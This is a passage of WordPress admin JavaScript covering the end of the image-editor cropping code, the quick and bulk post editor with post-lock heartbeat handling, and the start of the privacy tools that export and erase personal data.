			return false;
		}

		if ( y < 1 ) {
			elY.val('');
			return false;
		}

		if ( ( ( x && y ) || ( xS && yS ) ) && ( sel = ias.getSelection() ) ) {
			x2 = sel.x1 + Math.round( x * sizer );
			y2 = sel.y1 + Math.round( y * sizer );
			x1 = ( xS === sel.x1 ) ? sel.x1 : Math.round( xS * sizer );
			y1 = ( yS === sel.y1 ) ? sel.y1 : Math.round( yS * sizer );

			if ( x2 > imgw ) {
				x1 = 0;
				x2 = imgw;
				elX.val( Math.round( x2 / sizer ) );
			}

			if ( y2 > imgh ) {
				y1 = 0;
				y2 = imgh;
				elY.val( Math.round( y2 / sizer ) );
			}

			ias.setSelection( x1, y1, x2, y2 );
			ias.update();
			this.setCropSelection(postid, ias.getSelection());
		}
	},

	/**
	 * Rounds a number to a whole.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} num The number.
	 *
	 * @return {number} The number rounded to a whole number.
	 */
	round : function(num) {
		var s;
		num = Math.round(num);

		if ( this.hold.sizer > 0.6 ) {
			return num;
		}

		s = num.toString().slice(-1);

		if ( '1' === s ) {
			return num - 1;
		} else if ( '9' === s ) {
			return num + 1;
		}

		return num;
	},

	/**
	 * Sets a locked aspect ratio for the selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid     The post ID.
	 * @param {number} n          The ratio to set.
	 * @param {jQuery} el         The element containing the values.
	 *
	 * @return {void}
	 */
	setRatioSelection : function(postid, n, el) {
		var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ),
			y = this.intval( $('#imgedit-crop-height-' + postid).val() ),
			h = $('#image-preview-' + postid).height();

		if ( false === this.validateNumeric( el ) ) {
			this.iasapi.setOptions({
				aspectRatio: null
			});

			return;
		}

		if ( x && y ) {
			this.iasapi.setOptions({
				aspectRatio: x + ':' + y
			});

			if ( sel = this.iasapi.getSelection(true) ) {
				r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) );

				if ( r > h ) {
					r = h;
					var errorMessage = __( 'Selected crop ratio exceeds the boundaries of the image. Try a different ratio.' );

					$( '#imgedit-crop-' + postid )
						.prepend( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );

					wp.a11y.speak( errorMessage, 'assertive' );
					if ( n ) {
						$('#imgedit-crop-height-' + postid).val( '' );
					} else {
						$('#imgedit-crop-width-' + postid).val( '');
					}
				} else {
					var error = $( '#imgedit-crop-' + postid ).find( '.notice-error' );
					if ( 'undefined' !== typeof( error ) ) {
						error.remove();
					}
				}

				this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r );
				this.iasapi.update();
			}
		}
	},

	/**
	 * Validates if a value in a jQuery.HTMLElement is numeric.
	 *
	 * @since 4.6.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {jQuery} el The html element.
	 *
	 * @return {void|boolean} Returns false if the value is not numeric,
	 *                        void when it is.
	 */
	validateNumeric: function( el ) {
		if ( false === this.intval( $( el ).val() ) ) {
			$( el ).val( '' );
			return false;
		}
	}
};
})(jQuery);
/**
 * This file contains the functions needed for the inline editing of posts.
 *
 * @since 2.7.0
 * @output wp-admin/js/inline-edit-post.js
 */

/* global ajaxurl, typenow, inlineEditPost */

window.wp = window.wp || {};

/**
 * Manages the quick edit and bulk edit windows for editing posts or pages.
 *
 * @namespace inlineEditPost
 *
 * @since 2.7.0
 *
 * @type {Object}
 *
 * @property {string} type The type of inline editor.
 * @property {string} what The prefix before the post ID.
 *
 */
( function( $, wp ) {

	window.inlineEditPost = {

	/**
	 * Initializes the inline and bulk post editor.
	 *
	 * Binds event handlers to the Escape key to close the inline editor
	 * and to the save and close buttons. Changes DOM to be ready for inline
	 * editing. Adds event handler to bulk edit.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @return {void}
	 */
	init : function(){
		var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit');

		t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post';
		// Post ID prefix.
		t.what = '#post-';

		/**
		 * Binds the Escape key to revert the changes and close the quick editor.
		 *
		 * @return {boolean} The result of revert.
		 */
		qeRow.on( 'keyup', function(e){
			// Revert changes if Escape key is pressed.
			if ( e.which === 27 ) {
				return inlineEditPost.revert();
			}
		});

		/**
		 * Binds the Escape key to revert the changes and close the bulk editor.
		 *
		 * @return {boolean} The result of revert.
		 */
		bulkRow.on( 'keyup', function(e){
			// Revert changes if Escape key is pressed.
			if ( e.which === 27 ) {
				return inlineEditPost.revert();
			}
		});

		/**
		 * Reverts changes and close the quick editor if the cancel button is clicked.
		 *
		 * @return {boolean} The result of revert.
		 */
		$( '.cancel', qeRow ).on( 'click', function() {
			return inlineEditPost.revert();
		});

		/**
		 * Saves changes in the quick editor if the save(named: update) button is clicked.
		 *
		 * @return {boolean} The result of save.
		 */
		$( '.save', qeRow ).on( 'click', function() {
			return inlineEditPost.save(this);
		});

		/**
		 * If Enter is pressed, and the target is not the cancel button, save the post.
		 *
		 * @return {boolean} The result of save.
		 */
		$('td', qeRow).on( 'keydown', function(e){
			if ( e.which === 13 && ! $( e.target ).hasClass( 'cancel' ) ) {
				return inlineEditPost.save(this);
			}
		});

		/**
		 * Reverts changes and close the bulk editor if the cancel button is clicked.
		 *
		 * @return {boolean} The result of revert.
		 */
		$( '.cancel', bulkRow ).on( 'click', function() {
			return inlineEditPost.revert();
		});

		/**
		 * Disables the password input field when the private post checkbox is checked.
		 */
		$('#inline-edit .inline-edit-private input[value="private"]').on( 'click', function(){
			var pw = $('input.inline-edit-password-input');
			if ( $(this).prop('checked') ) {
				pw.val('').prop('disabled', true);
			} else {
				pw.prop('disabled', false);
			}
		});

		/**
		 * Binds click event to the .editinline button which opens the quick editor.
		 */
		$( '#the-list' ).on( 'click', '.editinline', function() {
			$( this ).attr( 'aria-expanded', 'true' );
			inlineEditPost.edit( this );
		});

		$('#bulk-edit').find('fieldset:first').after(
			$('#inline-edit fieldset.inline-edit-categories').clone()
		).siblings( 'fieldset:last' ).prepend(
			$( '#inline-edit .inline-edit-tags-wrap' ).clone()
		);

		$('select[name="_status"] option[value="future"]', bulkRow).remove();

		/**
		 * Adds onclick events to the apply buttons.
		 */
		$('#doaction').on( 'click', function(e){
			var n;

			t.whichBulkButtonId = $( this ).attr( 'id' );
			n = t.whichBulkButtonId.substr( 2 );

			if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) {
				e.preventDefault();
				t.setBulk();
			} else if ( $('form#posts-filter tr.inline-editor').length > 0 ) {
				t.revert();
			}
		});
	},

	/**
	 * Toggles the quick edit window, hiding it when it's active and showing it when
	 * inactive.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @param {Object} el Element within a post table row.
	 */
	toggle : function(el){
		var t = this;
		$( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el );
	},

	/**
	 * Creates the bulk editor row to edit multiple posts at once.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 */
	setBulk : function(){
		var te = '', type = this.type, c = true;
		var checkedPosts = $( 'tbody th.check-column input[type="checkbox"]:checked' );
		var categories = {};
		this.revert();

		$( '#bulk-edit td' ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length );

		// Insert the editor at the top of the table with an empty row above to maintain zebra striping.
		$('table.widefat tbody').prepend( $('#bulk-edit') ).prepend('<tr class="hidden"></tr>');
		$('#bulk-edit').addClass('inline-editor').show();

		/**
		 * Create a HTML div with the title and a link(delete-icon) for each selected
		 * post.
		 *
		 * Get the selected posts based on the checked checkboxes in the post table.
		 */
		$( 'tbody th.check-column input[type="checkbox"]' ).each( function() {

			// If the checkbox for a post is selected, add the post to the edit list.
			if ( $(this).prop('checked') ) {
				c = false;
				var id = $( this ).val(),
					theTitle = $( '#inline_' + id + ' .post_title' ).html() || wp.i18n.__( '(no title)' ),
					buttonVisuallyHiddenText = wp.i18n.sprintf(
						/* translators: %s: Post title. */
						wp.i18n.__( 'Remove &#8220;%s&#8221; from Bulk Edit' ),
						theTitle
					);

				te += '<li class="ntdelitem"><button type="button" id="_' + id + '" class="button-link ntdelbutton"><span class="screen-reader-text">' + buttonVisuallyHiddenText + '</span></button><span class="ntdeltitle" aria-hidden="true">' + theTitle + '</span></li>';
			}
		});

		// If no checkboxes where checked, just hide the quick/bulk edit rows.
		if ( c ) {
			return this.revert();
		}

		// Populate the list of items to bulk edit.
		$( '#bulk-titles' ).html( '<ul id="bulk-titles-list" role="list">' + te + '</ul>' );

		// Gather up some statistics on which of these checked posts are in which categories.
		checkedPosts.each( function() {
			var id      = $( this ).val();
			var checked = $( '#category_' + id ).text().split( ',' );

			checked.map( function( cid ) {
				categories[ cid ] || ( categories[ cid ] = 0 );
				// Just record that this category is checked.
				categories[ cid ]++;
			} );
		} );

		// Compute initial states.
		$( '.inline-edit-categories input[name="post_category[]"]' ).each( function() {
			if ( categories[ $( this ).val() ] == checkedPosts.length ) {
				// If the number of checked categories matches the number of selected posts, then all posts are in this category.
				$( this ).prop( 'checked', true );
			} else if ( categories[ $( this ).val() ] > 0 ) {
				// If the number is less than the number of selected posts, then it's indeterminate.
				$( this ).prop( 'indeterminate', true );
				if ( ! $( this ).parent().find( 'input[name="indeterminate_post_category[]"]' ).length ) {
					// Get the term label text.
					var label = $( this ).parent().text();
					// Set indeterminate states for the backend. Add accessible text for indeterminate inputs. 
					$( this ).after( '<input type="hidden" name="indeterminate_post_category[]" value="' + $( this ).val() + '">' ).attr( 'aria-label', label.trim() + ': ' + wp.i18n.__( 'Some selected posts have this category' ) );
				}
			}
		} );

		$( '.inline-edit-categories input[name="post_category[]"]:indeterminate' ).on( 'change', function() {
			// Remove accessible label text. Remove the indeterminate flags as there was a specific state change.
			$( this ).removeAttr( 'aria-label' ).parent().find( 'input[name="indeterminate_post_category[]"]' ).remove();
		} );

		$( '.inline-edit-save button' ).on( 'click', function() {
			$( '.inline-edit-categories input[name="post_category[]"]' ).prop( 'indeterminate', false );
		} );

		/**
		 * Binds on click events to handle the list of items to bulk edit.
		 *
		 * @listens click
		 */
		$( '#bulk-titles .ntdelbutton' ).click( function() {
			var $this = $( this ),
				id = $this.attr( 'id' ).substr( 1 ),
				$prev = $this.parent().prev().children( '.ntdelbutton' ),
				$next = $this.parent().next().children( '.ntdelbutton' );

			$( 'input#cb-select-all-1, input#cb-select-all-2' ).prop( 'checked', false );
			$( 'table.widefat input[value="' + id + '"]' ).prop( 'checked', false );
			$( '#_' + id ).parent().remove();
			wp.a11y.speak( wp.i18n.__( 'Item removed.' ), 'assertive' );

			// Move focus to a proper place when items are removed.
			if ( $next.length ) {
				$next.focus();
			} else if ( $prev.length ) {
				$prev.focus();
			} else {
				$( '#bulk-titles-list' ).remove();
				inlineEditPost.revert();
				wp.a11y.speak( wp.i18n.__( 'All selected items have been removed. Select new items to use Bulk Actions.' ) );
			}
		});

		// Enable auto-complete for tags when editing posts.
		if ( 'post' === type ) {
			$( 'tr.inline-editor textarea[data-wp-taxonomy]' ).each( function ( i, element ) {
				/*
				 * While Quick Edit clones the form each time, Bulk Edit always re-uses
				 * the same form. Let's check if an autocomplete instance already exists.
				 */
				if ( $( element ).autocomplete( 'instance' ) ) {
					// jQuery equivalent of `continue` within an `each()` loop.
					return;
				}

				$( element ).wpTagsSuggest();
			} );
		}

		// Set initial focus on the Bulk Edit region.
		$( '#bulk-edit .inline-edit-wrapper' ).attr( 'tabindex', '-1' ).focus();
		// Scrolls to the top of the table where the editor is rendered.
		$('html, body').animate( { scrollTop: 0 }, 'fast' );
	},

	/**
	 * Creates a quick edit window for the post that has been clicked.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @param {number|Object} id The ID of the clicked post or an element within a post
	 *                           table row.
	 * @return {boolean} Always returns false at the end of execution.
	 */
	edit : function(id) {
		var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, f, val, pw;
		t.revert();

		if ( typeof(id) === 'object' ) {
			id = t.getId(id);
		}

		fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order', 'page_template'];
		if ( t.type === 'page' ) {
			fields.push('post_parent');
		}

		// Add the new edit row with an extra blank row underneath to maintain zebra striping.
		editRow = $('#inline-edit').clone(true);
		$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length );

		// Remove the ID from the copied row and let the `for` attribute reference the hidden ID.
		$( 'td', editRow ).find('#quick-edit-legend').removeAttr('id');
		$( 'td', editRow ).find('p[id^="quick-edit-"]').removeAttr('id');

		$(t.what+id).removeClass('is-expanded').hide().after(editRow).after('<tr class="hidden"></tr>');

		// Populate fields in the quick edit window.
		rowData = $('#inline_'+id);
		if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) {

			// The post author no longer has edit capabilities, so we need to add them to the list of authors.
			$(':input[name="post_author"]', editRow).prepend('<option value="' + $('.post_author', rowData).text() + '">' + $('#post-' + id + ' .author').text() + '</option>');
		}
		if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) {
			$('label.inline-edit-author', editRow).hide();
		}

		for ( f = 0; f < fields.length; f++ ) {
			val = $('.'+fields[f], rowData);

			/**
			 * Replaces the image for a Twemoji(Twitter emoji) with it's alternate text.
			 *
			 * @return {string} Alternate text from the image.
			 */
			val.find( 'img' ).replaceWith( function() { return this.alt; } );
			val = val.text();
			$(':input[name="' + fields[f] + '"]', editRow).val( val );
		}

		if ( $( '.comment_status', rowData ).text() === 'open' ) {
			$( 'input[name="comment_status"]', editRow ).prop( 'checked', true );
		}
		if ( $( '.ping_status', rowData ).text() === 'open' ) {
			$( 'input[name="ping_status"]', editRow ).prop( 'checked', true );
		}
		if ( $( '.sticky', rowData ).text() === 'sticky' ) {
			$( 'input[name="sticky"]', editRow ).prop( 'checked', true );
		}

		/**
		 * Creates the select boxes for the categories.
		 */
		$('.post_category', rowData).each(function(){
			var taxname,
				term_ids = $(this).text();

			if ( term_ids ) {
				taxname = $(this).attr('id').replace('_'+id, '');
				$('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(','));
			}
		});

		/**
		 * Gets all the taxonomies for live auto-fill suggestions when typing the name
		 * of a tag.
		 */
		$('.tags_input', rowData).each(function(){
			var terms = $(this),
				taxname = $(this).attr('id').replace('_' + id, ''),
				textarea = $('textarea.tax_input_' + taxname, editRow),
				comma = wp.i18n._x( ',', 'tag delimiter' ).trim();

			// Ensure the textarea exists.
			if ( ! textarea.length ) {
				return;
			}

			terms.find( 'img' ).replaceWith( function() { return this.alt; } );
			terms = terms.text();

			if ( terms ) {
				if ( ',' !== comma ) {
					terms = terms.replace(/,/g, comma);
				}
				textarea.val(terms);
			}

			textarea.wpTagsSuggest();
		});

		// Handle the post status.
		var post_date_string = $(':input[name="aa"]').val() + '-' + $(':input[name="mm"]').val() + '-' + $(':input[name="jj"]').val();
		post_date_string += ' ' + $(':input[name="hh"]').val() + ':' + $(':input[name="mn"]').val() + ':' + $(':input[name="ss"]').val();
		var post_date = new Date( post_date_string );
		status = $('._status', rowData).text();
		if ( 'future' !== status && Date.now() > post_date ) {
			$('select[name="_status"] option[value="future"]', editRow).remove();
		} else {
			$('select[name="_status"] option[value="publish"]', editRow).remove();
		}

		pw = $( '.inline-edit-password-input' ).prop( 'disabled', false );
		if ( 'private' === status ) {
			$('input[name="keep_private"]', editRow).prop('checked', true);
			pw.val( '' ).prop( 'disabled', true );
		}

		// Remove the current page and children from the parent dropdown.
		pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow);
		if ( pageOpt.length > 0 ) {
			pageLevel = pageOpt[0].className.split('-')[1];
			nextPage = pageOpt;
			while ( pageLoop ) {
				nextPage = nextPage.next('option');
				if ( nextPage.length === 0 ) {
					break;
				}

				nextLevel = nextPage[0].className.split('-')[1];

				if ( nextLevel <= pageLevel ) {
					pageLoop = false;
				} else {
					nextPage.remove();
					nextPage = pageOpt;
				}
			}
			pageOpt.remove();
		}

		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
		$('.ptitle', editRow).trigger( 'focus' );

		return false;
	},

	/**
	 * Saves the changes made in the quick edit window to the post.
	 * Ajax saving is only for Quick Edit and not for bulk edit.
	 *
	 * @since 2.7.0
	 *
	 * @param {number} id The ID for the post that has been changed.
	 * @return {boolean} False, so the form does not submit when pressing
	 *                   Enter on a focused field.
	 */
	save : function(id) {
		var params, fields, page = $('.post_status_page').val() || '';

		if ( typeof(id) === 'object' ) {
			id = this.getId(id);
		}

		$( 'table.widefat .spinner' ).addClass( 'is-active' );

		params = {
			action: 'inline-save',
			post_type: typenow,
			post_ID: id,
			edit_date: 'true',
			post_status: page
		};

		fields = $('#edit-'+id).find(':input').serialize();
		params = fields + '&' + $.param(params);

		// Make Ajax request.
		$.post( ajaxurl, params,
			function(r) {
				var $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
					$error = $errorNotice.find( '.error' );

				$( 'table.widefat .spinner' ).removeClass( 'is-active' );

				if (r) {
					if ( -1 !== r.indexOf( '<tr' ) ) {
						$(inlineEditPost.what+id).siblings('tr.hidden').addBack().remove();
						$('#edit-'+id).before(r).remove();
						$( inlineEditPost.what + id ).hide().fadeIn( 400, function() {
							// Move focus back to the Quick Edit button. $( this ) is the row being animated.
							$( this ).find( '.editinline' )
								.attr( 'aria-expanded', 'false' )
								.trigger( 'focus' );
							wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
						});
					} else {
						r = r.replace( /<.[^<>]*?>/g, '' );
						$errorNotice.removeClass( 'hidden' );
						$error.html( r );
						wp.a11y.speak( $error.text() );
					}
				} else {
					$errorNotice.removeClass( 'hidden' );
					$error.text( wp.i18n.__( 'Error while saving the changes.' ) );
					wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
				}
			},
		'html');

		// Prevent submitting the form when pressing Enter on a focused field.
		return false;
	},

	/**
	 * Hides and empties the Quick Edit and/or Bulk Edit windows.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @return {boolean} Always returns false.
	 */
	revert : function(){
		var $tableWideFat = $( '.widefat' ),
			id = $( '.inline-editor', $tableWideFat ).attr( 'id' );

		if ( id ) {
			$( '.spinner', $tableWideFat ).removeClass( 'is-active' );

			if ( 'bulk-edit' === id ) {

				// Hide the bulk editor.
				$( '#bulk-edit', $tableWideFat ).removeClass( 'inline-editor' ).hide().siblings( '.hidden' ).remove();
				$('#bulk-titles').empty();

				// Store the empty bulk editor in a hidden element.
				$('#inlineedit').append( $('#bulk-edit') );

				// Move focus back to the Bulk Action button that was activated.
				$( '#' + inlineEditPost.whichBulkButtonId ).trigger( 'focus' );
			} else {

				// Remove both the inline-editor and its hidden tr siblings.
				$('#'+id).siblings('tr.hidden').addBack().remove();
				id = id.substr( id.lastIndexOf('-') + 1 );

				// Show the post row and move focus back to the Quick Edit button.
				$( this.what + id ).show().find( '.editinline' )
					.attr( 'aria-expanded', 'false' )
					.trigger( 'focus' );
			}
		}

		return false;
	},

	/**
	 * Gets the ID for a the post that you want to quick edit from the row in the quick
	 * edit table.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @param {Object} o DOM row object to get the ID for.
	 * @return {string} The post ID extracted from the table row in the object.
	 */
	getId : function(o) {
		var id = $(o).closest('tr').attr('id'),
			parts = id.split('-');
		return parts[parts.length - 1];
	}
};

$( function() { inlineEditPost.init(); } );

// Show/hide locks on posts.
$( function() {

	// Set the heartbeat interval to 15 seconds.
	if ( typeof wp !== 'undefined' && wp.heartbeat ) {
		wp.heartbeat.interval( 15 );
	}
}).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) {
	var locked = data['wp-check-locked-posts'] || {};

	$('#the-list tr').each( function(i, el) {
		var key = el.id, row = $(el), lock_data, avatar;

		if ( locked.hasOwnProperty( key ) ) {
			if ( ! row.hasClass('wp-locked') ) {
				lock_data = locked[key];
				row.find('.column-title .locked-text').text( lock_data.text );
				row.find('.check-column checkbox').prop('checked', false);

				if ( lock_data.avatar_src ) {
					avatar = $( '<img />', {
						'class': 'avatar avatar-18 photo',
						width: 18,
						height: 18,
						alt: '',
						src: lock_data.avatar_src,
						srcset: lock_data.avatar_src_2x ? lock_data.avatar_src_2x + ' 2x' : undefined
					} );
					row.find('.column-title .locked-avatar').empty().append( avatar );
				}
				row.addClass('wp-locked');
			}
		} else if ( row.hasClass('wp-locked') ) {
			row.removeClass( 'wp-locked' ).find( '.locked-info span' ).empty();
		}
	});
}).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) {
	var check = [];

	$('#the-list tr').each( function(i, el) {
		if ( el.id ) {
			check.push( el.id );
		}
	});

	if ( check.length ) {
		data['wp-check-locked-posts'] = check;
	}
});

})( jQuery, window.wp );
/**
 * Interactions used by the User Privacy tools in WordPress.
 *
 * @output wp-admin/js/privacy-tools.js
 */

// Privacy request action handling.
jQuery( function( $ ) {
	var __ = wp.i18n.__,
		copiedNoticeTimeout;

	function setActionState( $action, state ) {
		$action.children().addClass( 'hidden' );
		$action.children( '.' + state ).removeClass( 'hidden' );
	}

	function clearResultsAfterRow( $requestRow ) {
		$requestRow.removeClass( 'has-request-results' );

		if ( $requestRow.next().hasClass( 'request-results' ) ) {
			$requestRow.next().remove();
		}
	}

	function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) {
		var itemList = '',
			resultRowClasses = 'request-results';

		clearResultsAfterRow( $requestRow );

		if ( additionalMessages.length ) {
			$.each( additionalMessages, function( index, value ) {
				itemList = itemList + '<li>' + value + '</li>';
			});
			itemList = '<ul>' + itemList + '</ul>';
		}

		$requestRow.addClass( 'has-request-results' );

		if ( $requestRow.hasClass( 'status-request-confirmed' ) ) {
			resultRowClasses = resultRowClasses + ' status-request-confirmed';
		}

		if ( $requestRow.hasClass( 'status-request-failed' ) ) {
			resultRowClasses = resultRowClasses + ' status-request-failed';
		}

		$requestRow.after( function() {
			return '<tr class="' + resultRowClasses + '"><th colspan="5">' +
				'<div class="notice inline notice-alt ' + classes + '">' +
				'<p>' + summaryMessage + '</p>' +
				itemList +
				'</div>' +
				'</td>' +
				'</tr>';
		});
	}

	$( '.export-personal-data-handle' ).on( 'click', function( event ) {
		var $this          = $( this ),
			$action        = $this.parents( '.export-personal-data' ),
			$requestRow    = $this.parents( 'tr' ),
			$progress      = $requestRow.find( '.export-progress' ),
			$rowActions    = $this.parents( '.row-actions' ),
			requestID      = $action.data( 'request-id' ),
			nonce          = $action.data( 'nonce' ),
			exportersCount = $action.data( 'exporters-count' ),
			sendAsEmail    = $action.data( 'send-as-email' ) ? true : false;

		event.preventDefault();
		event.stopPropagation();

		$rowActions.addClass( 'processing' );

		$action.trigger( 'blur' );
		clearResultsAfterRow( $requestRow );
		setExportProgress( 0 );

		function onExportDoneSuccess( zipUrl ) {
			var summaryMessage = __( 'This user&#8217;s personal data export link was sent.' );

			if ( 'undefined' !== typeof zipUrl ) {
				summaryMessage = __( 'This user&#8217;s personal data export file was downloaded.' );
			}

			setActionState( $action, 'export-personal-data-success' );

			appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] );

			if ( 'undefined' !== typeof zipUrl ) {
				window.location = zipUrl;
			} else if ( ! sendAsEmail ) {
				onExportFailure( __( 'No personal data export file was generated.' ) );
			}

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function onExportFailure( errorMessage ) {
			var summaryMessage = __( 'An error occurred while attempting to export personal data.' );

			setActionState( $action, 'export-personal-data-failed' );

			if ( errorMessage ) {
				appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] );
			}

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function setExportProgress( exporterIndex ) {
			var progress       = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ),
				progressString = Math.round( progress * 100 ).toString() + '%';

			$progress.html( progressString );
		}

		function doNextExport( exporterIndex, pageIndex ) {
			$.ajax(
				{
					url: window.ajaxurl,
					data: {
						action: 'wp-privacy-export-personal-data',
						exporter: exporterIndex,
						id: requestID,
						page: pageIndex,
						security: nonce,
						sendAsEmail: sendAsEmail
					},
					method: 'post'
				}
			).done( function( response ) {
				var responseData = response.data;

				if ( ! response.success ) {
					// e.g. invalid request ID.
					setTimeout( function() { onExportFailure( response.data ); }, 500 );
					return;
				}

				if ( ! responseData.done ) {
					setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) );
				} else {
					setExportProgress( exporterIndex );
					if ( exporterIndex < exportersCount ) {
						setTimeout( doNextExport( exporterIndex + 1, 1 ) );
					} else {
						setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 );
					}
				}
			}).fail( function( jqxhr, textStatus, error ) {
				// e.g. Nonce failure.
				setTimeout( function() { onExportFailure( error ); }, 500 );
			});
		}

		// And now, let's begin.
		setActionState( $action, 'export-personal-data-processing' );
		doNextExport( 1, 1 );
	});

	$( '.remove-personal-data-handle' ).on( 'click', function( event ) {
		var $this         = $( this ),
			$action       = $this.parents( '.remove-personal-data' ),
			$requestRow   = $this.parents( 'tr' ),
			$progress     = $requestRow.find( '.erasure-progress' ),
			$rowActions   = $this.parents( '.row-actions' ),
			requestID     = $action.data( 'request-id' ),
			nonce         = $action.data( 'nonce' ),
			erasersCount  = $action.data( 'erasers-count' ),
			hasRemoved    = false,
			hasRetained   = false,
			messages      = [];

		event.preventDefault();
		event.stopPropagation();

		$rowActions.addClass( 'processing' );

		$action.trigger( 'blur' );
		clearResultsAfterRow( $requestRow );
		setErasureProgress( 0 );

		function onErasureDoneSuccess() {
			var summaryMessage = __( 'No personal data was found for this user.' ),
				classes = 'notice-success';

			setActionState( $action, 'remove-personal-data-success' );

			if ( false === hasRemoved ) {
				if ( false === hasRetained ) {
					summaryMessage = __( 'No personal data was found for this user.' );
				} else {
					summaryMessage = __( 'Personal data was found for this user but was not erased.' );
					classes = 'notice-warning';
				}
			} else {
				if ( false === hasRetained ) {
					summaryMessage = __( 'All of the personal data found for this user was erased.' );
				} else {
					summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' );
					classes = 'notice-warning';
				}
			}
			appendResultsAfterRow( $requestRow, classes, summaryMessage, messages );

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function onErasureFailure() {
			var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' );

			setActionState( $action, 'remove-personal-data-failed' );

			appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] );

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function setErasureProgress( eraserIndex ) {
			var progress       = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ),
				progressString = Math.round( progress * 100 ).toString() + '%';

			$progress.html( progressString );
		}

		function doNextErasure( eraserIndex, pageIndex ) {
			$.ajax({
				url: window.ajaxurl,
				data: {
					action: 'wp-privacy-erase-personal-data',
					eraser: eraserIndex,
					id: requestID,
					page: pageIndex,
					security: nonce
				},
				method: 'post'
			}).done( function( response ) {
				var responseData = response.data;

				if ( ! response.success ) {
					setTimeout( function() { onErasureFailure(); }, 500 );
					return;
				}
				if ( responseData.items_removed ) {
					hasRemoved = hasRemoved || responseData.items_removed;
				}
				if ( responseData.items_retained ) {
					hasRetained = hasRetained || responseData.items_retained;
				}
				if ( responseData.messages ) {
					messages = messages.concat( responseData.messages );
				}
				if ( ! responseData.done ) {
					setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) );
				} else {
					setErasureProgress( eraserIndex );
					if ( eraserIndex < erasersCount ) {
						setTimeout( doNextErasure( eraserIndex + 1, 1 ) );
					} else {
						setTimeout( function() { onErasureDoneSuccess(); }, 500 );
					}
				}
			}).fail( function() {
				setTimeout( function() { onErasureFailure(); }, 500 );
			});
		}

		// And now, let's begin.
		setActionState( $action, 'remove-personal-data-processing' );

		doNextErasure( 1, 1 );
	});

	// Privacy Policy page, copy action.
	$( document ).on( 'click', function( event ) {
		var $parent,
			range,
			$target = $( event.target ),
			copiedNotice = $target.siblings( '.success' );

		clearTimeout( copiedNoticeTimeout );

		if ( $target.is( 'button.privacy-text-copy' ) ) {
			$parent = $target.closest( '.privacy-settings-accordion-panel' );

			if ( $parent.length ) {
				try {
					var documentPosition = document.documentElement.scrollTop,
						bodyPosition     = document.body.scrollTop;

					// Setup copy.
					window.getSelection().removeAllRanges();

					// Hide tutorial content to remove from copied content.
					range = document.createRange();
					$parent.addClass( 'hide-privacy-policy-tutorial' );

					// Copy action.
					range.selectNodeContents( $parent[0] );
					window.getSelection().addRange( range );
					document.execCommand( 'copy' );

					// Reset section.
					$parent.removeClass( 'hide-privacy-policy-tutorial' );
					window.getSelection().removeAllRanges();

					// Return scroll position - see #49540.
					if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) {
						document.documentElement.scrollTop = documentPosition;
					} else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) {
						document.body.scrollTop = bodyPosition;
					}

					// Display and speak notice to indicate action complete.
					copiedNotice.addClass( 'visible' );
					wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) );

					// Delay notice dismissal.
					copiedNoticeTimeout = setTimeout( function() {
						copiedNotice.removeClass( 'visible' );
					}, 3000 );
				} catch ( er ) {}
			}
		}
	});

	// Label handling to focus the create page button on Privacy settings page.
	$( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) {
		e.preventDefault();
